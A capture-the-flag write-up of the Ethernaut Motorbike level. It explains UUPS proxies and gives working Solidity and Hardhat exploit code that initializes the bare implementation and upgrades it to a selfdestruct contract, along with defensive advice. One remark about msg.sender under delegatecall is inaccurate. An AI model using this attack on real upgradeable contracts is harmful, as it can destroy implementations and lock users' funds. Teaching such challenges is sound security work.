Skip to content
On this page

Exploiting UUPS Upgradeable Proxies: A Deep Dive into the Ethernaut Motorbike Challenge

Introduction

In the rapidly evolving landscape of smart contract development, upgradeability has emerged as a critical feature for maintaining and improving decentralized applications over time. The Ethernaut Motorbike challenge presents a fascinating case study in the security implications of upgradeable proxy patterns, specifically focusing on the UUPS (Universal Upgradeable Proxy Standard) implementation. This technical article will dissect the challenge, explore the underlying concepts, and demonstrate how a seemingly secure upgradeable system can be compromised through careful exploitation of initialization vulnerabilities.

Understanding Upgradeable Proxy Patterns

The Need for Upgradeability

Smart contracts on blockchain networks like Ethereum are immutable by design - once deployed, their code cannot be changed. This immutability provides security guarantees but presents challenges for long-term maintenance and bug fixes. Upgradeable proxy patterns solve this problem by separating contract logic from storage, allowing developers to update implementation logic while preserving the contract's state and address.

Proxy Pattern Fundamentals

At its core, a proxy pattern involves two main components:

  1. Proxy Contract: Stores the state and delegates all function calls to an implementation contract
  2. Implementation Contract: Contains the actual business logic

When a user interacts with the proxy, it uses delegatecall to execute code from the implementation contract within the proxy's storage context.

EIP-1967: Standardized Proxy Storage Slots

EIP-1967 establishes a standard for where proxy contracts should store the implementation address. This standardization prevents storage collisions and makes proxy implementations more interoperable. The standard defines specific storage slots:

  • 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc for the implementation address
  • 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 for the admin address

Analyzing the Motorbike Challenge

Contract Architecture

The Motorbike challenge consists of two main contracts:

solidity
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

contract Motorbike {
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
        require(success, "Call failed");
    }
    
    fallback() external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }
}

The Motorbike contract serves as the proxy, while the Engine contract contains the implementation logic:

solidity
contract Engine is Initializable {
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    address public upgrader;
    uint256 public horsePower;
    
    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }
    
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }
}

UUPS Pattern Specifics

Unlike the more common Transparent Proxy Pattern, UUPS (Universal Upgradeable Proxy Standard) places the upgrade logic in the implementation contract itself rather than the proxy. This approach has several implications:

  1. Gas Efficiency: UUPS proxies are more gas-efficient as they don't require additional storage reads for admin checks
  2. Implementation Responsibility: The implementation contract must handle its own upgrades
  3. Critical Vulnerability: If the implementation contract is destroyed, the entire system becomes unusable

The Vulnerability: Uninitialized Implementation Contract

Understanding the Attack Vector

The critical vulnerability in this challenge stems from a common oversight in UUPS implementations: the implementation contract's storage is not properly initialized when accessed directly.

Let's examine the initialization flow:

  1. The proxy constructor calls initialize() on the implementation via delegatecall
  2. This sets upgrader = msg.sender in the proxy's storage context
  3. However, the implementation contract's own storage remains uninitialized

Direct Access to Implementation

Because the implementation contract (Engine) is a regular contract deployed on-chain, attackers can interact with it directly, bypassing the proxy entirely. When accessed directly:

  • The upgrader variable is uninitialized (address(0))
  • The initializer modifier prevents re-initialization through the proxy
  • But direct calls to the implementation can call initialize() successfully

Step-by-Step Exploitation

Phase 1: Understanding Contract Addresses

First, we need to understand how contract addresses are calculated. The exploit uses contract address prediction:

solidity
function cAddrRecover(address _creator, uint256 _nonce) public pure returns (address) {
    if (_nonce == 0x00)      return getAddress(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), _creator, bytes1(0x80))));
    if (_nonce <= 0x7f)      return getAddress(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), _creator, uint8(_nonce))));
    if (_nonce <= 2**8-1)  return getAddress(keccak256(abi.encodePacked(bytes1(0xd7), bytes1(0x94), _creator, bytes1(0x81), uint8(_nonce))));
    if (_nonce <= 2**16-1) return getAddress(keccak256(abi.encodePacked(bytes1(0xd8), bytes1(0x94), _creator, bytes1(0x82), uint16(_nonce))));
    if (_nonce <= 2**24-1) return getAddress(keccak256(abi.encodePacked(bytes1(0xd9), bytes1(0x94), _creator, bytes1(0x83), uint24(_nonce))));
    return getAddress(keccak256(abi.encodePacked(bytes1(0xda), bytes1(0x94), _creator, bytes1(0x84), uint32(_nonce))));
}

This function calculates contract addresses based on the creator's address and nonce, following Ethereum's CREATE opcode address calculation rules.

Phase 2: Initializing the Implementation

The exploit begins by directly calling initialize() on the Engine implementation:

solidity
bytes memory initData = abi.encodeWithSignature(_ENGINE_INITIALIZE_SIG);
(bool s1,) = _engine.call(initData);
require(s1, "Failed to call Engine::initialize()");

This call succeeds because:

  1. We're calling the implementation contract directly, not through the proxy
  2. The implementation's storage is uninitialized
  3. The initializer modifier only prevents re-initialization, not the first initialization

After this call, msg.sender becomes the upgrader in the implementation's storage context.

Phase 3: Preparing the Destructive Contract

We need a contract that can self-destruct when called:

solidity
contract ToRemove {
    constructor() public {}
    function engineGone() external {
        selfdestruct(payable(address(0)));
    }
}

This simple contract has a single function that triggers selfdestruct, destroying the contract and sending any remaining ETH to address(0).

Phase 4: Executing the Upgrade to Destruction

Now that we're the upgrader (thanks to the direct initialization), we can call upgradeToAndCall:

solidity
bytes memory toRdata = abi.encodeWithSignature("engineGone()");
bytes memory upData = abi.encodeWithSignature(_ENGINE_UPGRADETOANDCALL_SIG, _toR, toRdata);
(bool s2,) = _engine.call(upData);
require(s2, "Failed to call Engine::upgradeToAndCall(address,bytes)");

This call:

  1. Passes authorization (we're now the upgrader)
  2. Sets the new implementation to our ToRemove contract
  3. Immediately calls engineGone() on the new implementation via delegatecall
  4. The selfdestruct executes in the Engine's context, destroying the implementation contract

Phase 5: Verification and Submission

After the exploit, we verify that the Engine contract has been destroyed:

typescript
const EMPTY_CODE = "0x";
const rtCode = await ethers.provider.getCode(engineAddress);
expect(rtCode).to.be.equals(EMPTY_CODE);

Finally, we submit the solution:

solidity
function submitInst(address _ethernaut) external {
    bytes memory data = abi.encodeWithSignature(_ETHERNAUT_SUBMITLEVELINSTANCE_SIG, _motorbike);
    (bool success,) = _ethernaut.call(data);
    require(success, "Failed to call Ethernaut::submitLevelInstance(address)");
}

Technical Deep Dive: Storage Layout and Delegatecall

Understanding Storage Collisions

One of the most critical aspects of proxy patterns is avoiding storage collisions. Let's examine how storage is organized:

solidity
struct AddressSlot {
    address value;
}

function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
    assembly {
        r_slot := slot
    }
}

Both the proxy and implementation use the same storage slot (_IMPLEMENTATION_SLOT) for the implementation address. This is intentional in UUPS patterns, but it creates interesting interactions.

Delegatecall Mechanics

The delegatecall opcode is fundamental to proxy patterns. It executes code from another contract but uses the storage of the calling contract. This has important implications:

solidity
// In the proxy constructor
(bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));

// In the fallback function
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)

When initialize() is called via delegatecall from the proxy constructor:

  • The code runs from the Engine contract
  • But storage modifications affect the proxy's storage
  • msg.sender in the initialization is the proxy, not the original caller

The Initializable Contract Pattern

The challenge uses OpenZeppelin's Initializable contract:

solidity
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Engine is Initializable {
    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }
}

The initializer modifier prevents functions from being called more than once. However, this protection only works within the same storage context. When we access the implementation directly, we're working with a different storage context that hasn't been initialized.

Security Implications and Best Practices

Lessons Learned from the Motorbike Challenge

  1. Never Assume Implementation Contracts Are Safe: Implementation contracts in UUPS patterns are vulnerable to direct attacks.

  2. Proper Initialization is Critical: Always ensure implementation contracts are properly initialized and cannot be re-initialized by unauthorized parties.

  3. Consider Using Constructor for Critical Setup: For UUPS implementations, consider using the constructor for critical setup that shouldn't be changeable.

  4. Implement Access Controls on Implementation: Even though the implementation logic might be called through the proxy, direct access should be considered in threat models.

  1. Initialization Protection:
solidity
contract SecureEngine is Initializable {
    address private _initializer;
    
    modifier onlyInitializer() {
        require(_initializer == address(0), "Already initialized");
        _initializer = msg.sender;
        _;
    }
    
    function initialize() external onlyInitializer {
        // initialization logic
    }
}
  1. Implementation Contract Access Control:
solidity
contract SecureEngine {
    address private immutable _proxy;
    
    constructor(address proxy) {
        _proxy = proxy;
    }
    
    modifier onlyProxy() {
        require(msg.sender == _proxy, "Only callable by proxy");
        _;
    }
    
    function upgradeToAndCall(address newImplementation, bytes memory data) 
        external 
        payable 
        onlyProxy 
    {
        // upgrade logic
    }
}
  1. Use OpenZeppelin's UUPS Implementation: Later versions of OpenZeppelin's UUPS implementation include additional safeguards against these types of attacks.

Testing the Exploit

The provided test file demonstrates a complete exploitation workflow:

typescript
describe("Motorbike", function () {
  describe("Motorbike testnet online sepolia", function () {
    it("testnet online sepolia Motorbike", async function () {
      const TIMEOUT = 20 * 60 * 1000;
      this.timeout(TIMEOUT);

      const ETHERNAUT = "0x...";
      const LEVEL = "0x...";

      const nonceLevel = await ethers.provider.getTransactionCount(LEVEL);

      const ToRemoveFactory = await ethers.getContractFactory("ToRemove");
      const toRemove = (await ToRemoveFactory.deploy()) as ToRemove;
      await toRemove.waitForDeployment();
      const TR_ADDRESS = await toRemove.getAddress();

      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(ETHERNAUT, LEVEL, nonceLevel, TR_ADDRESS)) as Hack;
      await hack.waitForDeployment();

      const engineAddress = await hack.cAddrRecover(LEVEL, nonceLevel);

      const EMPTY_CODE = "0x";
      const rtCode = await ethers.provider.getCode(engineAddress);
      expect(rtCode).to.be.equals(EMPTY_CODE);

      const tx = await hack.submitInst(ETHERNAUT);
      await tx.wait();
    });
  });
});

This test:

  1. Deploys the destructive contract (ToRemove)
  2. Deploys the exploit contract (Hack)
  3. Calculates the Engine implementation address
  4. Executes the exploit through the Hack constructor
  5. Verifies the Engine contract has been destroyed
  6. Submits the solution to the Ethernaut platform

Conclusion

The Ethernaut Motorbike challenge provides a powerful lesson in the security considerations of upgradeable smart contracts. While UUPS patterns offer gas efficiency benefits, they introduce unique vulnerabilities that must be carefully addressed. The key takeaway is that implementation contracts in UUPS systems are not merely libraries—they are active, callable contracts that must be secured in their own right.

Developers implementing upgradeable patterns should:

  1. Always secure implementation contracts against direct access
  2. Implement robust initialization mechanisms
  3. Consider using battle-tested libraries like OpenZeppelin's upgradeable contracts
  4. Conduct thorough security audits focusing on proxy-specific vulnerabilities

As blockchain technology continues to evolve, understanding these fundamental security concepts becomes increasingly important for building robust, maintainable, and secure decentralized applications.

Further Reading and Resources

  1. EIP-1967: Standard Proxy Storage Slots
  2. EIP-1822: Universal Upgradeable Proxy Standard (UUPS)
  3. OpenZeppelin Upgradeable Contracts: Implementation best practices
  4. Proxy Patterns in Solidity: Comprehensive guide to different proxy implementations
  5. Smart Contract Security Best Practices: OWASP-style guidelines for secure development

By mastering these concepts and understanding the vulnerabilities presented in challenges like Motorbike, developers can build more secure and resilient smart contract systems that stand the test of time in the immutable world of blockchain.

Built with AiAda